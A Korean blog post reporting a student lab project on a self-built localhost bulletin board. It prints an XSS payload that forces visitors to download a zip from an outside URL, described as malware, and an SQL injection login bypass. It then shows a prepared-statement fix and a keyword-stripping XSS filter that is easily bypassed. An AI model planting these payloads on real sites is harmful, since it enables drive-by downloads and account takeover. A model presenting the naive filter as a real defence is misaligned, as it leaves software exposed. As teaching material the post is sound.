처음부터 차근차근

웹 해킹 프로젝트 결과 본문

프로젝트/웹해킹 프로젝트

웹 해킹 프로젝트 결과

_soyoung 2022. 6. 11. 02:17
반응형

프로젝트 명 : xss와 sql injection을 이용한 웹 해킹 프로젝트
기간 : 2022-06-06 ~ 2022-06-08
Tool : Eclipse
기술 스택 : jsp

프로젝트 설명

개요(계획)

게시판 사이트를 해킹할 계획

XSS 공격 : 게시판에서 글을 작성할 때 자동으로 파일을 다운받는 자바스크립트 코드를 입력함. 그래서 이 게시글을 누르는 사람은 자신의 의사와 상관없이 악성코드를 다운받게 됨.

SQLInjection 공격 : 로그인 할 때 패스워드 작성하는 칸에다가 ‘=OR ‘1’ = ‘1 같은 코드를 집어넣어 정확한 비밀번호 없이 바로 admin에 로그인할 수 있게 함.

서버는 XSSsqlinjection을 예방하는 코드를 보여주고 실시간으로 적용해서 보여주기 위해 localhost 사용


이용한 웹 사이트 : 해킹용 게시판 사이트를 jsp 사용해서 직접 만듦
CRUD 기능 구현되어 있음
깃헙 : https://github.com/soyoungkimm/notice-board

XSS

사용한 xss 공격 코드

<script>
var text ="https://github.com/soyoungkimm/hacking/archive/refs/heads/master.zip";
var filename = "";
download(filename, text);

function download(filename, textInput) {
    var downloadATag = document.createElement('a');
    downloadATag.setAttribute('href', textInput);
    downloadATag.setAttribute('download', filename);
    document.body.appendChild(downloadATag);
    downloadATag.click();
}
</script>

원리 : 페이지 안에 download를 할 수 있는 a 태그를 넣고 click()함수를 이용해 클릭 처리를한다.
이렇게 하면 https://github.com/soyoungkimm.... 경로에 있는 zip파일을 자동으로 다운 받게 된다.


XSS 공격 시연



xss 공격 방어
게시글을 저장, 수정하는 코드에다가 함수를 이용해서 <script></script>코드를 없앤다.

public String XSSFilter(String str){
    // javascript 문자열 제거
    if(str.toLowerCase().indexOf("javascript") > -1){
	str = str.replaceAll("javascript", "");
    }

    // script 문자열 제거
    if(str.toLowerCase().indexOf("script") > -1){
        str = str.replaceAll("script", "");
    }

    return str;
}
결과 :&amp;nbsp;script 문자열이 삭제됨


SQL injection

SQL injection 공격 시연



SQL injection 공격 방어
로그인 코드에서 Statement 대신 PreparedStatement 사용한다.
? 안에다 setString() 같은 함수를 이용해서 값을 넣는 방식이라서 SQL injection 공격을 예방할 수 있다.

before

public int login(String userID, String userPassword) {
String SQL = "SELECT userPassword FROM user WHERE userID='" + userID + "' and userPassword='" + userPassword + "'";
    try {
        stmt = conn.createStatement();
        rs = stmt.executeQuery(SQL);
        if (rs.next()) {
            return 1; 
        }
        else {
            return 0;
        }
    } catch (SQLException e) {
        e.printStackTrace();
    }
    return -2; 
}


after

public int login(String userID, String userPassword) {
    String SQL = "SELECT userPassword FROM user WHERE userID=?";
    try {
        pstmt = conn.prepareStatement(SQL);
        pstmt.setString(1, userID);
        rs = pstmt.executeQuery();
        if (rs.next()) {
            if (rs.getString(1).equals(userPassword)) {
                return 1;
            } else {
                return 0; 
            }
        }
        return -1; 
    } catch (SQLException e) {
        e.printStackTrace();
    }
    return -2; 
}

결과 : sql injection이 안되는 것을 확인함

반응형
Comments